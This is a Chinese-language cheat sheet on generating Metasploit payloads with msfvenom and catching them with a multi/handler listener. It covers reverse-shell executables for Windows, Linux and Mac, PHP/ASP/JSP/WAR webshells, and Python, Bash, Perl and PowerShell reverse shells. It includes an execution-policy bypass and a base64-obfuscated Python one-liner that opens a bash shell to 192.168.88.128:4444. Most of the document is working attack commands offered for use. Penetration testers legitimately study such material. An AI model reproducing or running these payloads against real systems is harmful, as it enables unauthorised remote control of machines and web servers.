生成msf常用payload
msf作為一款強大的漏洞檢測工具,如何生成適用於msf的payload以及如何利用是使用msf的關鍵,今天就主要記錄一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的幫助信息。
在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:
msfvenom -l
生成二進制文件
關於二進制文件,主要介紹適用於Windows、linux、mac操作系統的payload生成與利用。
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
如何利用
針對這個部分就以Windows為例,使用上面的命令生成一個exe的payload,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe > shell.exe
復制shell.exe到Windows機器,然后kali下開啟msf使用如下命令監聽4444端口:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.128
set LPORT 4444
set ExitOnSession false
exploit -j -z
執行完之后在Windows下執行shell.exe,然后結果如圖:
在這里既然使用到了在Windows下執行應用程序,我們就大概盤點一下在Windows執行應用程序的幾種方式:
- 雙擊運行
- cmd下運行exe
- 利用Powershell遠程下載執行
- 利用at或schtasks設置計划任務執行
- 利用wmic遠程命令執行
生成webshell腳本
在做web滲透的時候,經常會用到webshell,我們經常用的一句話用菜刀連接,如何使用MSFVenom生成一個可以用msf操作的webshell呢?
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
如何利用
下面以php為例做一下測試,使用以下命令生成一個webshell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php
在kali上使用msf執行下面的命令,監聽端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.88.128
set LPORT 4444
set ExitOnSession false
exploit -j -z
將shell.php放在web目錄下,使用瀏覽器訪問,或者使用以下命令執行:
php shell.php
腳本shell
關於使用腳本反彈shell的方式,主要以python、bash、perl為例。
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1
如何使用
下面就以Python為例做一下測試,使用以下命令生成一個腳本:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.88.128 LPORT=4444 -f raw > shell.py
在kali上使用msf執行下面的命令,監聽端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_python
set LHOST 192.168.88.128
set LPORT 4444
set ExitOnSession false
exploit -j -z
然后復制shell.py中的內容在linux命令行下執行,如下:
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
結果如圖: